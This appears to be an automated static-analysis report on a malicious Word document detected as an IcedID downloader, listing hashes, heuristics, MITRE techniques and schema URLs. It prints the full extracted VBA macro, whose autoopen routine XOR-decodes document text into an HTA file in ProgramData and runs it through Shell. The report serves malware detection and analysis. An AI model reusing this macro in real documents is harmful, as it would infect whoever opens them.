Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3ea5a04d92ce66f9…

MALICIOUS

Office (OOXML)

46.6 KB Created: 2021-06-17 10:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: e3b99de619de6f3fbe1280da9084c8fd SHA-1: 5cb2390a5562d395f7606d7a06251bb52a319b95 SHA-256: 3ea5a04d92ce66f926d18b25ded0f9d04fa3160bae5f2e5b9587bb69f64f40fe
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Office document containing VBA macros. The 'autoopen' subroutine triggers the execution of the 'winDat' function, which in turn calls the 'Shell' function. This function is used to execute a command constructed by concatenating strings from 'sinRDatabase' and 'libsCaptSingle'. The reconstructed path 'c:\programdata\sinSin.hta' suggests the download and execution of a second-stage payload. The ClamAV detection name 'Doc.Downloader.IcedID' further supports this behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1210 bytes
SHA-256: 00e1919902d8858efba3c7393b5497c9da5f6760d5087cb4d99fb0b28d39079a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lenAfter"
Function winDat(libsCaptSingle)
Debug.Print Shell(Trim("" + sinRDatabase(libsCaptSingle & "orer ")))
End Function
Function sinRDatabase(libsCaptSingle, Optional screenQueryLibs = "c:\progra", Optional constTrustInt = "ta")
sinRDatabase = libsCaptSingle & screenQueryLibs & "mdata\sinSin.h" & constTrustInt
End Function
Function bytesGenLibs(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 100)
Next
bytesGenLibs = out
End Function

Attribute VB_Name = "dateW"
Sub autoopen()
sinLstAlt
lngOptionBool = winDat("expl")
End Sub

Attribute VB_Name = "viewIndex"
Sub sinLstAlt()
Open sinRDatabase("") For Output As #1
Print #1, removeCnt
Close #1
End Sub
Function removeCnt()
removeCnt = bytesGenLibs(captionList)
End Function
Function captionList()
captionList = Split(ActiveDocument.Range.Text, "x")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: e7501715c8ee1826eb6d5d8d3d240238479312db75cee01c259a0b21617288c8

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